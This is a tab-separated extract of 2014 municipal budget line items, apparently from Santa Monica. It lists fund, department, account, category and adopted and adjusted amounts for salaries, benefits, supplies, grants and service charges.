12041	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2014	-16561.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-16561.0
12042	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	12090.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12090.0
12043	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-3635.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3635.0
12044	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	29433.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29433.0
12045	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	98135.0	0	0	0	0	0	20833.33	0	0	0	0	0.0	118968.33
12046	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2014	8359.0	0	0	0	0	0	1875.0	0	0	0	0	0.0	10234.0
12047	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-4907.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4907.0
12048	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE	820.0	Salaries and Wages	2014	5100.0	0	0	0	0	60	0.0	0	0	0	0	0.0	5160.0
12049	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		UNEMPLOYMENT	804.0	Salaries and Wages	2014	1925.0	0	0	0	0	29	340.84	0	0	0	0	0.0	2294.84
12050	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	6750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6750.0
12051	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	28518.0	0	0	0	0	0	0.0	0	0	0	0	0.0	28518.0
12052	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	544160.0	RIDESHARE PROGRAM	816.0	 Supplies and Expenses	2014	96000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	96000.0
12053	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408550.0	NO NET NEW TRIPS TOOLKIT	610.0	Intergovernmental	2014	0.0	0	0	-543080	0	0	0.0	0	0	0	0	0.0	-543080.0
12054	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	8170.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8170.0
12055	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	404070.0	BIKE PED TRAINING PILOT SRTS	610.0	Intergovernmental	2014	0.0	0	0	-4896	0	0	0.0	0	0	0	0	0.0	-4896.0
12056	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	406930.0	FED-TRAFFIC SIGNAL GRANT	610.0	Intergovernmental	2014	0.0	0	0	-153955	0	0	0.0	0	0	0	0	0.0	-153955.0
12057	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	770640.0	0	0	0	0	12822	152545.48	0	0	0	0	0.0	936007.48
12058	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	137072.0	0	0	0	0	0	0.0	0	0	0	0	0.0	137072.0
12059	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522120.0	UTILITIES - NATURAL GAS	808.0	 Supplies and Expenses	2014	255.0	0	0	0	0	0	0.0	0	0	0	0	0.0	255.0
12060	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	32000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	32000.0
12061	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2014	161593.0	0	0	0	0	0	0.0	0	0	0	0	0.0	161593.0
12062	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	555030.0	EMPLOYEE MEDICAL EXAMS	808.0	 Supplies and Expenses	2014	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
12063	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2014	726.0	0	0	0	0	0	0.0	0	0	0	0	0.0	726.0
12064	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2014	4463.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4463.0
12065	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2014	326694.0	0	0	0	0	0	0.0	0	0	0	0	0.0	326694.0
12066	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	5214.0	0	0	0	0	0	708.0	0	0	0	0	0.0	5922.0
12067	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	72913.0	0	0	0	0	6015	0.0	0	0	0	0	0.0	78928.0
12068	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2014	-68664.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-68664.0
12069	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	29794.0	0	0	0	0	0	-16631.67	0	0	0	0	0.0	13162.33
12070	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	254617.0	0	0	0	0	0	4166.67	0	0	0	0	0.0	258783.67
12071	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	448827.0	0	0	0	0	0	0.0	0	0	0	0	0.0	448827.0
12072	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	6602.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6602.0
12073	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	1838.0	0	0	0	0	141	0.0	0	0	0	0	0.0	1979.0
12074	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	3447.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3447.0
12075	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	1532.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1532.0
12076	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	2755304.0	0	0	0	0	0	8520.93	0	0	0	0	0.0	2763824.93
12077	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	13491.0	0	0	0	0	0	42.6	0	0	0	0	0.0	13533.6
12078	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	21412.0	0	0	0	0	0	67.32	0	0	0	0	0.0	21479.32
12079	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511250.0	STANDBY PAY	808.0	Salaries and Wages	2014	23467.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23467.0
12080	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	23278.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23278.0
12081	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409071.0	ROSIE'S GIRLS-SPRING	612.0	Charges for Service	2014	-6932.0	0	0	0	0	0	0.0	6932	0	0	0	0.0	0.0
12082	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409072.0	ROSIE'S GIRLS-SUMMER I	612.0	Charges for Service	2014	-29038.0	0	0	0	0	0	0.0	29038	0	0	0	0.0	0.0
12083	B1	IS	1	General Fund	310	FIRE	315	TRAINING	533010.0	PERSONAL PROTECTIVE EQUIPMENT	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	30253.0	0	0	0	0	0.0	30253.0
12084	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	408400.0	LINCOLN BLVD STPL FUNDS	610.0	Intergovernmental	2014	0.0	0	0	0	-471414	0	0.0	0	0	0	0	0.0	-471414.0
12085	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	131465.0	0	0	0	0	0	0.0	0	0	0	0	0.0	131465.0
12086	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	122400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	122400.0
12087	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	328983.0	0	0	0	0	0	0.0	0	0	0	0	0.0	328983.0
12088	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400613.0	NEWSRACK PERMITS	612.0	Charges for Service	2014	-25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-25000.0
12089	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522710.0	AUTO REIMBURSEMENT	816.0	 Supplies and Expenses	2014	990.0	0	0	0	0	0	0.0	0	0	0	0	0.0	990.0
12090	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403721.0	SERIAL INEBRIATE GRANT LEASING	610.0	Intergovernmental	2014	-335000.0	0	0	0	0	0	0.0	335000	0	0	0	0.0	0.0
12091	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403720.0	HUD SERIAL INEBRIATE GRANT	610.0	Intergovernmental	2014	-21672.0	0	0	0	0	0	0.0	21672	0	0	0	0.0	0.0
12092	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	1935899.0	1935899.0
12093	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	527525.0	527525.0
12094	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522549.0	ADVERTISING PAYMENTS (CCB)		 Supplies and Expenses	2014	110250.0	0	0	0	0	0	0.0	0	0	0	0	0.0	110250.0
12095	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2014	627.0	0	0	0	0	0	0.0	0	0	0	0	0.0	627.0
12096	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	6150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6150.0
12097	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567220.0	PFA 2011A (PKG ST 6)	910.0	 Supplies and Expenses	2014	2667131.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2667131.0
12098	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409080.0	ADULT SOCCER LEAGUE	612.0	Charges for Service	2014	-245999.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-245999.0
12099	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	24947.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24947.0
12100	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		DISABILITY INSURANCE		Salaries and Wages	2014	1663.0	0	0	0	0	6	0.0	0	0	0	0	0.0	1669.0
12101	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2014	107368.0	0	0	0	0	0	0.0	0	0	0	0	0.0	107368.0
12102	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2014	6400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6400.0
12103	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	4100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4100.0
12104	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	405720.0	CUPA ELECTRONIC REPORTING	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-29793.0	-29793.0
12105	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	300.0	0	0	0	0	0.0	300.0
12106	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	51162.0	0	0	0	0	0	0.0	0	0	0	0	0.0	51162.0
12107	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	6876.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6876.0
12108	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511749.0	VISION	804.0	Salaries and Wages	2014	538.0	0	0	0	0	0	0.0	0	0	0	0	0.0	538.0
12109	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	588110.0	TRAFFIC CONTROL EQUIPMENT	816.0	 Supplies and Expenses	2014	29051.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29051.0
12110	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTILITIES-WATER-CITY YARDS	808.0	 Supplies and Expenses	2014	25500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25500.0
12111	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	210196.0	0	0	0	0	0	0.0	0	0	0	0	0.0	210196.0
12112	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	27657.0	0	0	0	0	0	708.33	0	0	0	0	0.0	28365.33
12113	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2014	14133.0	0	0	0	0	0	375.0	0	0	0	0	0.0	14508.0
12114	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	206668.0	0	0	0	0	0	0.0	0	0	0	0	0.0	206668.0
12115	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	2988.0	0	0	0	0	222	0.0	0	0	0	0	0.0	3210.0
12116	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	8282.0	0	0	0	0	0	161.45	0	0	0	0	0.0	8443.45
12117	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	805.0	0	0	0	0	0	0.0	0	0	0	0	0.0	805.0
12118	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2014	-185159.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-185159.0
12119	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	85845.0	0	0	0	0	0	708.33	0	0	0	0	0.0	86553.33
12120	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-37705.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-37705.0
12121	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	7328.0	0	0	0	0	0	79.17	0	0	0	0	0.0	7407.17
12122	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	3467.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3467.0
12123	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	43220.0	0	0	0	0	0	0.0	0	0	0	0	0.0	43220.0
12124	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2014	5774.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5774.0
12125	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577762.0	CDBG REIMB-PUBLIC WORKS	908.0	 Supplies and Expenses	2014	-65000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-65000.0
12126	B1	IS	43	Gas Tax Fund	500	PUBLIC WORKS	402	ENGINEERING	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-9000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-9000.0
12127	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400620.0	RESURFACING PERMITS	612.0	Charges for Service	2014	-17479.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-17479.0
12128	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	408000.0	INTERFUND SERVICES-ST MAINTENA	612.0	Charges for Service	2014	-5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5000.0
12129	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522230.0	CREDIT CARD FEES	804.0	 Supplies and Expenses	2014	2317730.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2317730.0
12130	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	402050.0	TRANSPORTATION IMPACT FEE	622.0	Other	2014	-570000.0	0	0	0	0	0	135083.0	0	0	0	0	0.0	-434917.0
12131	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	470524.0	0	0	0	0	0	0.0	0	0	0	0	0.0	470524.0
12132	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	8614.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8614.0
12133	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-1730 4TH ST	808.0	 Supplies and Expenses	2014	21210.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21210.0
12134	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25000.0
12135	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566330.0	STREET LIGHT MAINTENANCE	808.0	 Supplies and Expenses	2014	190400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	190400.0
12136	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	162418.0	0	0	0	0	0	0.0	0	0	0	0	0.0	162418.0
12137	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533110.0	SPECIAL EQUIPMENT-OPER SUPS	808.0	 Supplies and Expenses	2014	99332.0	0	0	0	0	0	0.0	0	0	0	0	0.0	99332.0
12138	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	1200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1200.0
12139	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	380.0	0	0	0	0	0	0.0	0	0	0	0	0.0	380.0
12140	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511490.0	OVERTIME	808.0	Salaries and Wages	2014	86338.0	0	0	0	0	0	0.0	0	0	0	0	0.0	86338.0
12141	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	1107.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1107.0
12142	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-7133.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7133.0
12143	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	38253.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38253.0
12144	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	5214.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5214.0
12145	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2014	276.0	0	0	0	0	0	0.0	0	0	0	0	0.0	276.0
12146	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2014	504.0	0	0	0	0	0	0.0	0	0	0	0	0.0	504.0
12147	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2014	313.0	0	0	0	0	0	0.0	0	0	0	0	0.0	313.0
12148	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2014	417.0	0	0	0	0	0	0.0	0	0	0	0	0.0	417.0
12149	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	1269.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1269.0
12150	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	517208.0	0	0	0	0	0	1677.6	0	0	0	0	0.0	518885.6
12151	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	16279.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16279.0
12152	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2014	41982.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41982.0
12153	B1	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	810.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	23464.0	23464.0
12154	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	533710.0	SOFTWARE	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
12155	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522720.0	MILEAGE	816.0	 Supplies and Expenses	2014	1300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1300.0
12156	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	3500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3500.0
12157	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	544390.0	OTHER COSTS	816.0	 Supplies and Expenses	2014	1150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1150.0
12158	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
12159	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577344.0	HAP-VOUCHER	816.0	 Supplies and Expenses	2014	12611900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12611900.0
12160	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	26147.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26147.0
12161	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2014	1650.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1650.0
12162	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	120312.0	0	0	0	0	0	0.0	0	0	0	0	0.0	120312.0
12163	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	588100.0	EQUIP - PRODUCTION & OFFICE	804.0	 Supplies and Expenses	2014	124000.0	0	0	-50000	0	0	0.0	0	0	0	0	0.0	74000.0
12164	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	1829.0	0	0	0	830	129	0.0	0	0	0	0	0.0	2788.0
